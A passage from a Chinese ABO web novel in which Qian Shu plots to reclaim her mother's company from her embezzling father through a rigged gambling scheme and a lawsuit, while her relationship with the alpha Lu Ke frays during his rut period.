就像是天上掉馅饼一般,一掉就是掉好几个,砸的贺诚军晕头转向,笑得合不拢嘴。 尽管兴奋,贺诚军还是有点不放心,因为千言集团什么水平他是知道的,陆氏接连选择千言这实在有些反常。 贺诚军约过陆凌风吃饭,探探他的口风,陆凌风赏脸答应了。 为了招待陆凌风,贺诚军选了A市最贵最有面子的餐厅。甚至为了不丢分,咬牙开了一瓶leroymusigny。 在商海浮沉的两个老滑头见面,相比于贺诚军时而露出来的怯场,陆凌风要游刃有余得多。 安静的餐厅里,侍应生帮他们倒酒,贺诚军端着高脚杯给陆凌风敬酒,语气有些谄媚: “早就想跟陆总合作了,没想到有朝一日愿望还真的灵验。见过这么多人,像陆总这样有品位又有想法的人可不多见,这次的合作我可得好好的学几招。” 陆凌风闻言嘴角一勾,很模式化的笑。他端着酒杯跟贺诚军碰了碰杯:“哪里哪里,贺总也是商业奇才。” “不过,相较于商业上的事情,我反而对贺总教育子女上更感兴趣。” 陆凌风笑着夸奖千述:“贺总将女儿教养得如此优秀,想必费了很多心思吧,不知可有什么教育秘诀吗。” 贺诚军一愣,不清楚贺诚军为何要扯到千述的身上。 不过贺诚军还是接着陆凌风的话:“千述是个很省心的孩子,很懂事。我平时工作忙,没怎么管过她,没想到这孩子很争气。” “确实。”陆凌风笑道,语气莫名,“歹竹出好笋。” 贺诚军这样的废物伪君子,都能养出千述这样的女儿。 环境这么差,千述还能长得这么好。不敢想要是在一个正常家庭,被托举向上,更是不可小觑。 贺诚军:“?” 好像是骂我的意思吧。 “贺总别误会,我说的是青出于蓝胜于蓝的意思。”陆凌风漫不经心的找补着,没什么诚意。 “我懂陆总的意思,孩子优秀也是做父亲的骄傲,我懂我懂!”贺诚军忙道。 陆凌风心里嗤笑一声,你懂个屁! 千述太忙了,今天又要加班。这样的日子持续了一个多月,她几乎每天早出晚归,有时候周末都要去公司,忙得脚不沾地。 和陆恪相处的时间也直线减少。 “今天没时间回来吃饭,你不用做我的那份。”千述给陆恪发来消息。 陆恪围着围裙,厨房里的菜端上桌的时候,就看到了桌上的手机亮了起来。陆恪 把菜放下就直奔手机而去。 陆恪也是近段时间才开始迷上做饭的。 千述倒不是说不会做饭,她是厨艺太差了。 上帝给千述打开了很多道窗,唯独在做饭上,这扇窗简直被关得死死的,天赋技能完全没点亮。 否则她做饭怎么可以这么难吃。 千述自然是在家里做过饭,做的菜只能说千述勉强吃得下去。但陆恪特别挑食,大少爷瞥一眼,很不给面子。 “方知明家里养的汤圆都比这吃得好。”陆恪一口不碰,并且犀利吐槽。 汤圆是方知明养的边牧。 千述:“” 千述哽住,无法反驳,因为有些狗确实比人吃得要好。 所以他们两个人住在一起,基本上都是请的家政每天现买菜现做,或者点外卖。 陆恪之前一个人住的时候也是这样过活的。 只是陆恪有一次看到网上的情侣博主发帖,说和伴侣要有家的感觉,还得是在家自己做饭。 看着图片上热腾腾的饭菜,两个碗,两双筷子。是那种只有家才有的温暖美好的感觉。 后面陆恪就开始学做饭了。 该说不说,陆恪做饭比千述厉害太多! 陆恪第一次做糖醋排骨和酸辣柠檬虾就非常成功,色香味俱全,这给只会做番茄炒鸡蛋的千述带来深深的震撼。 “尝尝我的手艺吧。”陆恪眉尾轻轻一挑,有点骄矜。 他穿着粉色的围裙,布料在腰间松松一系,衬得腰线窄而韧。千述的目光落在陆恪柔韧的腰上,又不动声色的挪开视线,陆恪一点没发现。 后来陆恪就在家里经常研究美食,俨然成为一位家庭主夫,并且乐此不疲 陆恪拿起手机,果然是千述发的消息,只不过是她不回来的消息。 桌上的的菜散发着腾腾的热气,灶上还炖着玉米排骨汤。一般这个点,千述还有五分钟就会到家,那时候刚好能吃上饭。 千述不回来,这桌上的饭菜都好像失去了几分颜色,变得寡淡无味。 “饭我都做好了,我给你打包,带去公司。”陆恪紧抿着唇,给千述发消息,有点执拗。 千述隔了两分钟回复:“不用,我点了外卖。” 客厅里很安静,以至于陆恪甚至能听见厨房里煮的汤咕噜咕噜沸腾的声音,这屋里只有陆恪一个人,突然就有些孤寂。 陆恪死死的看着屏幕上千述发来的消息。很莫名其妙,没办法控制,陆恪心中的委屈开始蔓延。 他立刻给千述打了语音通话。千述刚好拿到外卖,正在拆开包装盒。 千述戴上耳机,一边打开外卖,一边问道:“怎么了?” “你为什么不回来吃饭。”陆恪几乎是质问的语气。 “我要加班啊,不是已经跟你说了吗?”千述没太在意,随口道。 千述饿得不行,她每天忙得很,有时候连吃饭都顾不上。现在看到外卖,简直要两眼放光了。 千述敷衍的语气,让陆恪有点憋不住自己的情绪:“你到底在忙什么!” “你们公司是要倒闭了吗,只靠你一个人撑着,连饭都没空回来吃一口!每次都是加班,加班,这公司没你转不了是吧!” 突然,陆恪冷不丁的开口:“千述,你是不是在躲我。” 千述拿着筷子的手一顿,她垂眼,面不改色道:“没有,你想多了。” 听着那边陆恪有些重的呼吸声,千述一时也不知道要说什么,两人沉默着,但是都没挂电话。 下班的同事路过千述的工位,看她又在吃外卖,笑道:“千述,你今天又加班啊,年轻人别把自己逼太紧了。” “这个项目不着急的,早点回去吧。”同事说完就拍拍千述的肩膀,走了。 同事的忙和千述的忙,根本不是一个概念,但是千述无从解释,她也不准备解释。 耳机里陆恪的呼吸声更重了,他情绪起伏很大。 陆恪声音干涩,带着细微的颤音:“你根本就不忙,你是主动要加班的。你就是不想回来,不想看到我。” “不是你想的这样。”千述干巴巴的解释。 陆恪一点也不想听千述冥思苦想编出来的谎话,太刺耳了。陆恪把电话挂了 千述回来的时候,玄关还亮着灯,这次沙发上没有陆恪等待的身影。 以前回来晚一点的时候,陆恪会很乖的在沙发上等她。尽管他不承认这是在等待,他只是嘴硬的说,是他喜欢熬夜。 厨房里的垃圾桶里是倒掉的饭菜,大少爷连碗都给一起扔了,看样子是一口没动。 千述打开卧室的灯,就看见在床上蜷缩的身影,他背对着千述,不肯转过身来。 千述沉默的站在门口,灯光落在她的睫毛上,投下淡淡的阴影,看不清她眼底的情绪。 半响,千述转过身向外走去, “你要去哪!” 身后千述离开的脚步声响起,陆恪突然坐起身,头发凌乱,眼皮红红的,就好像偷偷哭过一般。 陆恪死死的盯着千述的背影,哽咽着,咬牙切齿的问道:“千述,你要去哪?” 心里叹息一声,千述转过身来,平和道:“我要去洗漱一下,在外面呆了一整天。” “不准去。”陆恪简直一点道理不讲。 他穿着睡衣,乱糟糟的,光着脚,投入千述的怀里,很紧的抱着她。千述的手垂在身侧,手指蜷缩着。 “还不快抱我。”陆恪哽咽着,一口咬在千述的肩膀上,眼泪垂落在千述的肌肤上。 千述被陆恪的眼泪烫得有不知要如何反应,有点呆:“我还没洗澡,身上脏的。” “千述你到底抱不抱我!”陆恪脾气终于忍不住了,很凶的说。 最后的最后。 浴室温热的水流,淋在两个人的身上。陆恪的脸抵在冰凉的瓷砖上,眼泪流得更凶了。 身后是千述,腰上是千述的手。 第59章 第59章没人能拒绝你这样的白富美…… “以公司目前的情况,如果扩大产能,会有资金无法周转的风险,所以我不同意继续建厂。” 千言集团的董事会,有七八个人分坐两旁。他们中间有亲近贺诚军一方的,也有之前跟千朝一起打拼的。 说话的这个人是千朝以前的老搭档,李信鸿。 与陆氏合作已经三个多月,最近千言的业务量直线上涨,也有其他的车企慕名与千言合作。 之前因为业务萎缩,贺诚军关闭了几个厂子。现在业务量大了,贺诚军就想着扩大产能,多开几个厂,然后购买设备。 但是这样一来,就会使他们的资金周转变得勉强。手里没有现金流,就出不得一点差池,很冒险的行为。 坐在贺诚军旁边的人不同意了,陈示皱眉道:“老李,你这就搞的太保守了。现在我们吃下了陆氏的大单子,如果不扩大产能,怎么能接住后面的合作。” “有了陆氏的合作,在A市打开知名度,其他车企的项目也会源源不断。到时候人家要我们的东西,我们做不出来,这不是白瞎了很多生意!” 现在的千言集团,就像是被海浪高高承托起的小船,水涨船高,以至于给人产生了企业兴盛的错觉。 却未曾想,待潮水褪去以后,船是否会触到暗礁,支离破碎。 “到时候资金周转不过来怎么办?公司的资金链出了问题,谁来承担。”李信鸿直接问道。 相比于其他董事面对和陆氏合作犹如走大运一般开心,李信鸿却持着谨慎的心态。 “资金链哪有这么容易出问题!” “现在是我们的产出不够,陆氏那边的时间要得紧,到时候时间到了我们东西没做完,这就是违约了!” “那当初就不该不自量力,接下这么多项目,搞得现在进退两难,贪心不足蛇吞象!” “千言业务都萎缩成什么样了,大家有目共睹!好不容易来了陆氏这样一个大单子,你不想着接下,你倒是想推出去。” “那大家都别赚钱了,公司解散,大家都等着喝西北风就好了!” 会议厅里开启了骂战,董事们分成两派,据理力争。骂起来唾沫横飞,脸红脖子粗,谁都不让谁。 贺启流在旁边打个哈切,他皮肤暗黄,眼下青黑。昨天晚上他又熬夜去赌了。 最近认识的一个哥们赌钱特别厉害,心地也好,还把独门秘籍教给贺启流,贺启流试了几把,把把都赢。 他现在越玩越大,本来一晚上只赌个几万收手。没想到最近赢面这么大,贺启流 贪心,押注都快几十万,上百万的玩儿了。 从没赚过这么多钱!进了地下赌场就是昏天黑地的赌,不知今夕是何夕。 还是今天贺诚军给他打电话,让他来开董事会,他才从赌场里出来。 耳边叫骂声不断,吵得人耳朵生疼。尤其是对于熬了一整夜的贺启流来说,真的是脑瓜子嗡嗡的响,跟用锤子砸他的天灵盖一样。 李信鸿猛地拍了一下桌子站起身来,脸色涨红:“我看是你们想把公司搞垮,自从来了A市,千言止步不前,一直后退!” “你们一个个,只想着从公司捞钱,完全不为公司的未来考虑,为下面的员工考虑!” 李信鸿已经完全跟他们撕破了脸皮。 他是跟着千朝见证过千言的强盛,也跟着贺诚军见证过千言的衰落,这其中的变化,李信鸿是看在眼里的。 但他在公司股份不多,也没什么话语权,其他几个董事拥护贺诚军。千言集团已经是贺诚军的一言堂了。 李信鸿转身就走了,他知道他的反对意见根本没用,不会被任何人采纳。 果然,随着李信鸿的离开,会议厅里的空气凝滞一瞬,大家都缄默。 贺诚军坐在最前端,面色不断变化,晦暗不明。 良久,贺诚军开口道:“建厂的事就这么定了,先开三个厂起来。陈示这事你去办,务必要办好,打了某些人的脸。” 贺诚军在内涵谁,大家心里都清楚。 “好!这事交给我。”陈示拍拍胸脯道。 后续他们又在会议厅商讨了后面的事情,这个会议才结束。 所有人都出去了,贺诚军让贺启流跟陈示留了下来。 会议厅里只剩下了三个人,贺启流趴在桌上昏昏欲睡。贺诚军看见儿子这个不人不鬼的样子就心烦。他走过去踹了一脚贺启流的凳子,给贺启流吓得直接立起身来。 贺启流是贺诚军跟千朝结婚以后在外面的私生子。 alpha和beta受孕率低,再加上千朝身体弱,所以千朝的第一个孩子流产了。自那以后,千朝就怀不上孩子。 贺诚军口头上倒没说什么,但是在外面的omega情人没断过。 有一次易感期跟一个omega没做措施,永久标记了。然后就生下了贺启流。 本来贺诚军是不想要这个孩子的,但是生下来是个alpha,贺诚军就留了下来,把这个孩子和情人养在外面。 在没掌控千言集团的时候,贺诚军一直挪用公司财产在外面养这个小三还有私生子。房、车、各种名牌奢侈品。 后来掌权地位稳了,又把私生子塞到董事会,想让贺启流以后接他的班。 “老陈,这次的项目你带着启流,让他在你旁边学点东西,锻炼锻炼。”贺诚军怕了拍陈示的肩膀,嘱咐道。 “嗨,这有什么,让启流跟着我就行,小问题。”陈示笑道。 贺诚军转头看着在旁边瞌睡点头的贺启流,脸色沉了下来:“还不快过来谢谢你陈叔,天天就知道去外面花天酒地,下次再去酒吧,把你腿给打断了!” 贺诚军不知道贺启流在赌博,更不知道他赌得很大。他以为贺启流就是在酒吧喝喝酒,玩玩omega。 这些在贺诚军看来就是小儿科,只要注意别染病就行。 贺启流根本把他爸的话当回事,他吊儿郎当的:“谢谢陈叔。” ———————————— 会议厅吵架的事不久就传遍了公司,因为不少人看到李信鸿从会议厅里怒气冲冲的出来。 想来是跟别的董事意见不合。 千述坐在工位上听见同事们的窃窃私语,她专注的看着电脑,似乎一点没放在心上。 手机响了,有人给她发了消息。 赌神423:“人已经入套了,看你想什么收网。” 赌神423:“看你是陆老板介绍的,还以为你要收拾什么大人物,没想到是个愣头青。他真是个蠢货,只是做局带他玩了几把,他就被哄得团团转,全部身家都要拿出来赌了。” 千述垂眼看着消息,编辑输入。 “先不急,让他再多得意几天。等他过段时间能接触到项目资金以后再收网也不迟。” 现在贺启流赌的都是小钱,等他后面接触到项目资金,那可是几千万,上亿的钱。 人只要一赌上头了,什么也顾不了。 千述垂着眼眸,眸底黑黑沉沉,像是冰冷的深渊。 还不够,千述不仅要从贺诚军手里抢回千言,还要让贺诚军受到法律制裁,一辈子再难翻身。 那可真是太精彩了。 …… “你说得对,贺诚军那里不好查,就从他儿子那里入手。倒真的摸到了一些贺诚军曾经挪用公司资产的线索,我已经发你邮箱了。” 这家餐厅是蒋屿经常来吃的,离千述下班的地方不远,所以蒋屿把两个人见面的地方约在了这儿。 千述吃了口面前的甜品,觉得有点甜腻,就把勺子放下。蒋屿和她吃的同一款甜品,都是丝绒蛋糕,蒋屿就接受良好。 “你速度还挺快嘛,我还以为得再过几个月才会有线索。”蒋屿回道。 千述筹谋的计划,蒋屿在其中帮助了不少。他本身就是金融律师,十分擅长处理这些案子,给千述出了不少主意。 “不过千述,你这样做其实是在釜底抽薪,到时候股东纷纷抛售股票,你有那么多钱收回来吗?”蒋屿问道。 在蒋屿印象里,千述读书都要自己出去兼职赚生活费,哪里有么多钱去抄底。 “我妈妈留下的。”千述语气变得有些淡。 千述又想到她第一次看到那封信。 在此之前千述虽说对贺诚军没什么感情,但还算是听话。毕竟正如贺诚军所说,领养需要伴侣双方签字。 如果贺诚军不肯签字,千述不可能被领养。 就是因为这一层恩情,千述听了这么多年话。 但是千朝那封信撕破了所有的伪装。 她在信里写了贺诚军不断利用公司债务来转移财产,从公司项目中抽回扣,损害公司利益,养外面的情人和私生子。 哪怕婚前,千朝就签署了财产协议,保护资产。但是也没防住贺诚军这种神不知鬼不觉的偷家行为。 贺诚军不愧是名牌大学的高材生,脑子很精明,只是没用到正途上。 除此之外,千朝还给千述留了一笔遗产。千朝不确定自己去世以后,千述会受到什么样的待遇。所以千朝给千述留了一笔资产,这笔钱可以让千述这辈子都不愁吃穿。 这封信千朝甚至没有力气交给千述,还是嘱托家里的薛姨,让她务必要交给千述。薛姨经常去医院照顾千朝,就把信放到了千述最常读的书里。 后面千朝猝不及防的去世,家里一团乱麻,薛姨就把这件事忘记了。 所以这封信尘封了很多年,才第一次被千述打开。 “你能把股票收回来就行。”蒋屿了然道。 “届时贺诚军决策失败,资金链断裂,他会被踢出董事会。董事纷纷抛售股票,我们再趁机抄底。同时起诉贺诚军曾经侵吞公司资产,两面夹击,他肯定免不了牢狱之灾。” “陆氏这次确实是帮了我们大忙了,省了很多功夫。”蒋屿感叹道。 千述敛着眼睫,眉眼平静:“嗯,是的。” 两人商谈了一会儿,时间匆匆而过。 “我开车送你回去吧,现在有点晚了。”门口,蒋屿看着亮起的路灯,提议道。 他们下班的时候约的,没聊多久天就黑了,现在已经晚上8点了。 千述展示了一下手机页面,道:“不用,我打了车。” “行,你路上注意 安全。“蒋屿点头,温和道。 蒋屿陪千述等车,两人站在路边,灯光把二人的身影拉的很长。 千述安静注视着不远处掩在树叶下的路灯,蒋屿站在她的身边也没说话。两个人都是很温和的人,都很安静。 “蒋屿,我想请你当我的代理律师。“千述转头看向蒋屿。 “钱我会付给你。” 蒋屿是圈内金牌律师,胜诉率极高,经手的案子,几乎没有败绩。 有他在,千述的胜算很大。 千述不是那种为了避嫌,给自己增添困难的人。身边有可以帮助到自己的人,没道理推开。 蒋屿也转头看向千述,他眼眸潋滟,笑道:“千述,我会帮你的呀。我一直是站在你这边的。” 蒋屿从头至尾,都是坚定的站在千述这一边的,哪怕只是以朋友的名义。 “不过你放心,律师费我会收的,我可不会让自己给你白打工。”蒋屿笑眯眯的说。 “那就好。”千述点头。 其实千述知道,蒋屿是不愿让她在相处中有太多负担。钱货两讫,就没有太多亏欠。 …… 陆恪想跟千述求婚。 陆恪太黏着千述了,几乎要霸占千述所有的下班时间。 他曾经问过很多次,千述在忙什么。千述只说是工作上的一些事。 陆恪相信了,但是他心里仍然不安。 这种不安可能出自于人类的直觉,无从考究。 “那你就跟千述结婚呗,反正你们现在感情正浓,结了婚就不会再有变数了。” 方知明听完陆恪的烦恼,跟他出主意。 陆恪的心瞬间就开始跳动了。 和千述的感情犹如一潭死水,陆恪心甘情愿困在里面。却又想着,能让平静的湖面为他再增添些波澜。 “如果千述不愿意嫁给我怎么办?”难得的,大少爷有些不自信,他总是捉摸不透千述的想法。 “那你就嫁给她呗,很少有人能拒绝你这样的白富美的。要钱有钱,要身材有身材,打着灯笼都难找好吧!”方知明一脸无所谓道。 陆恪想了想,也对。 陆恪筹备求婚仪式神神秘秘的,经常抱着个手机打字,然后看到千述过来,又装作漫不经心的把手机关上。 千述觉得他这样心虚的样子很有趣,就走到他旁边,然后看到陆恪把手机往身后藏。 在亲吻的时候,陆恪喘息着勾住千述的后颈,直直的看着她:“你愿不愿意永远跟我在一起。” 湿润的眼眸,带着爱意的眼神,如丝丝缕缕的丝线,缠绕在千述的身上,紧紧的包裹着她。 千述在这个时候,几乎什么都会依着陆恪。 她会随口道:“我愿意。” 就像结婚时,神父会问:“你是否愿意和他共度一生,无论贫穷或富有,健康或疾病,顺境或逆境,你都会永远爱他,珍惜他,忠实与他,直到生命尽头。” 这时候,美丽的新娘会坚定的点头,说: “我愿意。” 第60章 第60章虐 陆恪的求婚还没进行,易感期先来了。 他每次易感期来势汹汹,这次却十分安静。易感期四个月一次,算日子也就在这段时间。 但是千述工作忙碌,完全忘记了这个事情。陆恪也没在千述面前提起过一句,就好像是故意避开这几天。 只在易感期前的几天,他曾经跟千述说过一句:“我过几天要出去一个周。” 千述当时在吃饭,陆恪做菜的手艺越来越好,做的每个菜千述都喜欢吃。说实话,这种每天下班回到家,就有人做好饭等你的日子,是很美妙的。 所以千述每次在吃饭的时候,都会有点遗憾。她想,以后陆恪估计恨死她了,肯定也不会再给她做饭。 陆恪一边给千述剥虾,一边云淡风轻的说,看起来就好像在说一件普通小事。 千述抬眼看他,习惯性问了一句:“是要去做什么事情吗?” “没啥事。”陆恪自然的将剥好的虾放到千述面前的碟子里,“就是准备投资一个产业,要去外地考察一下,方知明也去。” “哦。”千述点头,道,“那好吧,祝你顺利。” 千述很少过问陆恪在工作上的事情,她也不怎么在意。 面前的碟子里装了几只剥好的虾仁。千述低头吃着,颇有一种吃了这顿,就没了下一顿的珍惜。(真虾) 晚上的时候陆恪特别热情,又很敏感,缠着千述。 千述看着跨坐在自己身上的人,已经来了两次了,但是陆恪仍旧神采奕奕,意犹未尽。 alpha本就在体力上优于beta和omega,因此千述有时候招架不住很正常,而且她还是一个可怜的社畜。 “自己动。”千述靠在床头,漫不经心的轻抚陆恪的腰。 …… “怎么跟水做的一样。”千述垂眼,慢悠悠道。 大少爷哪里都湿漉漉的。 陆恪的脸上又染上了绯红,像羞答答的枝头桃花。他低头跟千述吻在一起,闭着双眼,睫毛颤啊颤 陆恪离开以后,家里要安静很多。只有千述一个人,终究少了点人气。 尽管千述觉得心里有点空,但是她很快摒弃掉这种感觉,将注意力集中在目前做的事情上面。 在陆恪离开的第三天,千述去参加业内的展会,然后在展会上碰到了方知明。 千述看到方知明的时候一怔,不明白他会什么会在这里。方知明倒是面色坦然的过来跟千述打招呼。 “好长一段时间没见你了千述,听陆哥说你最近工作很忙。”方知明礼貌的问候。 “工作上是忙碌了一些。”千述回答,随后她问,“你不是跟陆恪去外地考察了吗,已经结束了?” “什么考察?”方知明下意识问道。 看方知明疑惑的表情,千述知道陆恪骗了她。 她眸色微微一动,面不改色道:“我记错人了,没有这件事。” “千述,你和陆哥“”方知明吞吞吐吐,话问到一半又不说了。 方知明看到千述,心里的八卦就忍不住,他很想问陆恪有没有跟千述求婚。 陆恪根本不让方知明参与进来,身边几乎没人知道他有求婚的想法。陆恪说千述性格低调,肯定不喜欢有太多人围在旁边吵闹。 他打算在很美好的一天,只有他和千述两个人,然后求婚。 陆恪消息守的死死的,连方知明这个兄弟都不知道,也不知道成功没有。 “嗯?”千述看向他,脸上有点疑惑。 “算了,算了,没什么事。”方知明摆摆手道。他还是别问太多,到时候把陆哥计划给泄露了。 “我那边还有事,我就先过去了,你慢慢逛。”方知明开溜了。 千述点头:“好。” 陆恪的易感期总是格外难受,腺体里的信息素横冲直撞,找不到出口。 密闭的酒店房间里,蛮横霸道的信息素已经铺天盖地,张牙舞爪。那种类似于干柴烈火,噼里啪啦燃烧时产生的呛人气息,让任何一个靠近的AO都会觉得不适。 当然,除了beta。 他们本身就对alpha的信息素无感,顶多是觉得好闻和不好闻的区别。 躺在床上的人已经紧紧咬着嘴唇,眼尾湿红,额头上覆着一层薄薄的汗。他把千述的衣服紧紧抱在怀里,深深的吸着上面淡淡的香气。 属于千述的气味。 但这其实只是杯水车薪,根本浇灭不了熊熊燃烧的火焰。 “千述千述”陆恪声音很哑,宛若呓语。 可能是易感期身体太难受,又或者是自己独自承受着这份痛苦。陆恪突然就很难过,甚至有点想哭,心里的委屈怎么也压不住。 他其实不太敢在千述面前暴露自己易感期的样子。 就跟陆凌风说的那样,alpha和beta在生理上总是不匹配的。alpha有易感期,除了标记omega,就是用抑制剂,很麻烦。 那千述是不是也这样想呢?她会不会觉得陆恪易感期麻烦,会不会更想要和像她一样的beta在一起。 她会不会觉得我们不合适 陆恪一想到这些,他就觉得心脏被一只无形的大手猛的捏住,痛得呼吸都停滞一拍。 这时候陆恪甚至有点恨。 恨自己alpha的身份,如果 他是beta,那么他和千述就是天造地设的一对。 陆恪没办法,他只能尽量的避开和千述的这些差距。甚至在她面前小心翼翼的,连alpha的信息素都很少泄露出来 床头放着抑制剂,是他早就准备好的,这几天只有注入抑制剂的那段时间里是清醒的,其他时候都浑浑噩噩,陷入欲。望不可自拔。 陆恪的眼泪根本没办法控制住,滴落在千述的衣服上。他实在难过,很想回到千述身边,想她抱着自己,然后亲吻他。 而不是易感期,孤零零躲在外面,害怕被自己的伴侣发现。 所以千述出现在他陆恪面前时,他第一时间是想过去抱着她,但在一瞬间就退缩了。 “千千述,你你怎么来了。”陆恪磕磕绊绊道。 陆恪的脑子开始清醒一点,他直起身,又看着被自己捏得皱巴巴的衣服,瞬间藏在身后。 千述走上前,居高临下的看着面前鼻子都哭红了的人。无论他再怎么隐藏,但是这屋内铺天盖地的信息素气味遮掩不住。 “易感期什么时候到的?”千述语气平静,面上看不出有太多的情绪。 陆恪没来由的,心里有点慌。 他忙抬手握住千述的手,声音有点紧:“昨昨天。” 前几天离开的时候就已经有易感期的前兆了,开始浑身发热,昨天才真正来的,今天是第二天。 千述任陆恪牵着,她垂眼扫过床头边凌乱摆放的抑制剂,淡淡道:“用抑制剂了吗?” “昨天用了一支。”陆恪有点着急,他几乎连腺体的痛苦都忽略了,想要跟千述解释。 “千述,你别担心,我这次会控制的剂量的,不会用很多抑制剂进医院。” “千述,alpha的易感期很快就会过去,四个月一次,只会有几天,对日常生活影响不大的,很快就不难受了。” 陆恪想说太多,来证明alpha的易感期其实并不是什么大事,不会对陆恪造成什么影响。 “那你为什么躲着我,为什么要骗我是出来考察工作。”千述问道。 她的语气很平,但你就是能感觉出来,千述现在的心情很差。 “我因为”陆恪嗫嚅着,不知道要说什么。 要说什么呢?要说他害怕千述觉得不适合,然后抛弃他吗? 这些话陆恪一个字都说不出口。 陆恪几乎快被千述的冷淡逼疯了,他不管不顾的上去抱住千述,哽咽着把眼泪蹭在千述身上。 “千述,你你别这样对我,不要这样跟我说话,我害怕。” 陆恪的眼泪是很烫的,烫得千述总是不知道要怎么应对。千述能感受到他焦灼的心态,他现在很难受,因为没办法标记,释放腺体里的信息素。 他的伴侣是beta,所以他只能独自忍受易感期的痛苦。 但其实,他原本可以不用这么痛苦的。 一切痛苦的根源,都因为他们不合适而已。 千述在这一瞬间,突然的就觉得很无力,疲惫感像潮水一般向她涌来。她甚至不知道要怎么安慰怀里哭泣的人,只能机械式的抬手轻抚他的肩膀。 “好了,别哭了。”千述轻声道,“我刚刚只是,心情有点糟糕。” 几乎是立刻,陆恪就抬起头来,吻上千述的唇,然后拉着她的手往自己身上放。 “千述,你不用担心我,你想怎样都行,易感期也没关系,根本不会难受。”陆恪已经不知道自己在说些什么,颠三倒四的。 只知道要赶快让千述爱他,千述是喜欢他的身体的,他能让她开心。 陆恪一边亲吻着千述的唇角,一边流着泪,大颗的眼泪落在千述的唇上,是苦涩的 陆恪甚至荒唐的想,如果他是千述**就好了。千述根本不用在乎这该死的易感期,不用考虑他的任何想法。千述可以随心所欲的使用他,把他留在她的身边。 但是陆恪再想想,又觉得很难过。那如果千述有了别的,更喜欢的**,如果千述觉得腻了,要把他丢掉怎么办。 陆恪的眼泪又在掉,几乎停不下来。 千述根本不知道陆恪脑袋里那些奇怪的,惊世骇俗的想法。她以为他是不舒服,难受。 千述停下了动作,低头吻了一下陆恪的嘴唇,气息有点喘:“腺体还是很难受吗?要不现在给你用抑制剂。” 陆恪修长的腿勾住千述的腰,泪涟涟的摇头:“千述,我要你现在标记我,永久标记我。” 他太想属于千述了,只属于千述。 千述的动作顿住,她抿了抿唇,哑声道:“我是beta,没办法标记你。” “你可以标记,咬我的后颈腺体。”陆恪已经有些胡言乱语,他现在不太清醒。 alpha的后劲腺体漏出来,凸起的腺体已经红肿,预示着这个身体的主人正在经受易感期的折磨。 千述沉默着,不知道这样自欺欺人的做法有什么用。 但是陆恪的情绪特别激烈:“你咬啊!你为什么不咬?” “千述,你是不是嫌我是alpha,你是不是不愿意永久标记我,想要把我丢掉!” 易感期的alpha敏感,情绪总是起伏,走向极端。陆恪如果清醒着,就知道现在的自己,提的要求有多无理取闹。 “没有想把你丢掉,我怎么舍得把你丢掉。”千述哄他,几乎想要叹气。 “那你现在永久标记我。”陆恪把白皙的后颈凑到千述的嘴边 腺体很脆弱,尤其是身处易感期的alpha的腺体。 千述的牙齿刺入腺体时,陆恪身体一僵,腺体刺痛,像被血淋淋的撕扯开来,几乎痛得让让陆恪蜷缩在千述怀里。 千述感受到唇齿间的血腥味,忙想着松开口。 “不。”陆恪埋在千述怀里,失神流泪道,“千述,别松开,再深一点。” 千述觉得简直太荒谬了。 她身为beta,从来没想过有一天会被逼着标记alpha。 这个世界真是疯了 千述和陆恪之间的关系,到了非常奇怪的阶段。没有分开,但又不如往日亲密,仿佛隔着一层薄膜。 千述很忙,现在到了收尾阶段,她把更多的注意力放在了她的计划里。 跟陆恪,就这样僵持着,好像也找不到很好的解决办法。 陆恪还是一如既往的,在家里做饭,有时候会接送千述上下班,尽管千述并不是特别需要。但是他想粉饰太平,千述还是依着他。 只是千述几乎不怎么碰他,她每次都说太忙了,有点累。 陆恪心都要碎掉了,根本不知道要怎么办。该用的方法他都用了,穿那些很涩。情的衣服,甚至用在他身上的,很难受很猎奇的玩具。 这些方法他都用过了。 但是仍旧没办法阻挡伴侣对他的身体失去了兴趣。千述表面上依然温和,几乎什么都答应他,亲他,或者抱他。 但是她不再跟他做更亲密的事情,她看向他的眼神清醒理智。 这对于陆恪来说是一个很难接受的事实。 这个房子很空,很大,很静。陆恪坐在沙发上,面色空白。 餐桌上已经摆好的三菜一汤,氤氲着热气,飘散在空中,被灯光一照显得很温馨。 但是菜会冷,变得不再美味。人心也会冷,变得沉默。 玄关的门响了,陆恪立刻站起了身。他就像从一个呆滞的傀儡,被注入了生命力,变成了一个鲜活的人类。 他走向玄关,千述正在弯腰换鞋。 “你今天下班有点晚。”陆恪呐呐道。 千述平和道:“有点忙。” 千述侧身经过陆恪,只留下很淡的气味,类似于雨后清晨栀子花的香味。她 走过餐厅,看到桌上做好的饭菜,顿住脚步。 看到千述的目光落在餐桌上,陆恪就好像找到了喘息的生机,他立刻道:“我今天做的全是你喜欢吃的菜,有蒜香排骨,耗油生菜,还有油焖” “我已经吃过饭了。”千述平静道。 “是,是吗?”陆恪面色白了下去,低声说着。 “嗯。”千述点头,往浴室而去,“我先去洗漱一下。” 60-70 第61章 第61章千述,我疼 夜很深的时候,拉着窗帘的房间里昏暗,寂静。 两人都背对着彼此,中间隔着距离。 陆恪知道千述睡着了,她这段时间都是这样的,白天很忙,所以晚上很快就能入睡。 千述似乎更喜欢一个人睡觉,她睡觉姿势很端正,不喜欢乱动,跟她这个人的性格一样,克制内敛。 只是陆恪以前没有发现,陆恪睡觉的时候总是喜欢抱着千述,头埋在她的颈侧,整个人像藤蔓一样缠着她。 这种紧密的,没有任何空隙的拥抱,会让陆恪觉得满足,很有安全感。 千述从来没有拒绝过他,所以陆恪以为千述其实也喜欢这样拥抱。 现在看来,好像并不是。 陆恪实在不想让自己每天像一个怨夫一样,哭哭啼啼的。但是他忍不住,一看到千述冷淡的眉眼,陆恪就感觉心脏坠痛,痛得他眼泪都快憋不住了。 原本分隔的楚河汉界,因为一个人的越界,不复存在。 陆恪翻过身,让自己离千述更近一点。他的头轻轻的抵着千述的后肩,眼泪簌簌落下,沾湿了千述的衣服。 黑暗中传来轻轻的哽咽声,压得很低,所以听着闷闷的。 千述睡得迷迷糊糊的,感觉后面有东西蹭着她,像小猫一样,柔软,温热。 她白天累,晚上实在困,脑子也不太清醒,想不到太多复杂的东西。 千述眼睛还闭着,人根本没醒。她转过身,下意识的把身后的人拉进怀里。 “乖,睡觉了,好不好,真的很困。”千述抬手轻抚陆恪柔软的头发,迷迷糊糊道。 陆恪死死的咬住唇,眼泪无声无息的落,他更深的埋在千述怀里。 千述闭着眼,亲了亲陆恪柔软的发。 她快要陷入黑甜的梦乡了,语调变轻,断断续续的:“最喜欢你了,你乖一点,乖一点。” 陆恪哭得呼吸都已经不顺畅了。他抬起头,轻轻的触碰千述的唇角,很轻,一触即分,但眼泪还是落在了千述的脸上。 “千述,你不要丢下我好不好。” 